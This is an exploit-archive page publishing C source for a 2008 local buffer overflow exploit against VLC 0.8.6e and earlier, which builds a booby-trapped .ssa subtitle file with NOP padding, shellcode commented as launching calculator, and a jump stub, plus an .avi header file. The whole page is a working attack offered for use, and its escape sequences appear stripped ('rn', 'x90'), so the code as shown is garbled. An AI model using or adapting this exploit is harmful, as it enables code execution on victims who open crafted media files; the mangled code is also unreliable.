[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : VLC <= 0.8.6e Subtitle Parsing Local Buffer Overflow Exploit
# Published : 2008-03-14
# Author : Mai Xuan Cuong
# Previous Title : Microsoft Office Excel Code Execution Exploit (MS08-014)
# Next Title : Solaris 8/9/10 fifofs I_PEEK Local Kernel memory Leak Exploit


/*
VLC <=0.8.6.e
Subtitle parsing local buffer overflow exploit
Creadit to cuongmx@gmail.com vs Look2Me @
Tested on windows XP Pro SP2

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char ssa_header[]=
"[Script Info]rn"
"Title: VLC <= 0.8.6c,e buffer-overflowrn"
"ScriptType: v4.00rn"
"Collisions: Normalrn"
"[V4 Styles]rn"
"[Events]rn"
"Dialogue:";

// execute calculator from Meta
char shellcode[] =
"x31xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x3d"
"xbaxb1xd9x83xebxfcxe2xf4xc1x52xf5xd9x3dxbax3ax9c"
"x01x31xcdxdcx45xbbx5ex52x72xa2x3ax86x1dxbbx5ax90"
"xb6x8ex3axd8xd3x8bx71x40x91x3ex71xadx3ax7bx7bxd4"
"x3cx78x5ax2dx06xeex95xddx48x5fx3ax86x19xbbx5axbf"
"xb6xb6xfax52x62xa6xb0x32xb6xa6x3axd8xd6x33xedxfd"
"x39x79x80x19x59x31xf1xe9xb8x7axc9xd5xb6xfaxbdx52"
"x4dxa6x1cx52x55xb2x5axd0xb6x3ax01xd9x3dxbax3axb1"
"x01xe5x80x2fx5dxecx38x21xbex7axcax89x55xc4x69x3b"
"x4exd2x29x27xb7xb4xe6x26xdaxd9xd0xb5x5exbaxb1xd9";

char szJMP[]=
"x90x90xe9x38xffxffxffxebxf9x90x90x0bx0bx38x00";

char szAVI[]=
"x52x49x46x46xCx0x0x0x41x56x49x20x4Cx49x53x54x00x00x00";

main()
{
    int i,j,k;
    printf("Give me your VLC version:rn");
    printf("1> version 8.06.crn");
    printf("2> version 8.06.drn");
    printf("3> version 8.06.ernChose:");
    j=getchar();
    switch(j)
    {
        case '1': k=165254;break;
        case '2': printf("rnI haven't got this version!rn Good Luck :-)");
                  getchar();
                  return 0;break;
        case '3': k=165286;break;
    }
    k=k-sizeof(shellcode);
    printf("rn[+] Creating .ssa file ...");
    FILE*    f;
    char    szBuffer[170000];
    char    szBuffer2[200];

    strcpy(szBuffer,ssa_header);    // header of ssa
    
    memset((szBuffer+sizeof(ssa_header)-1),'x90',k);
    szBuffer[k+sizeof(ssa_header)]='x00';
    strcpy(szBuffer2,shellcode);
    strcat(szBuffer2,szJMP);
    strcat(szBuffer,szBuffer2);
    
    f=fopen("Bof-VLC.ssa","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szBuffer,1,strlen(szBuffer),f);  // write header
    fclose(f);
    printf("rn[+] .ssa file successfully create!");
	
	printf("rn[+] Creation .avi file ...");
    f=fopen("Bof-VLC.avi","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szAVI,1,sizeof(szAVI),f);  // write header
    fclose(f);	
    printf("rn[+] .avi file successfully create!");
    getchar();
}

// www.Syue.com [2008-03-14]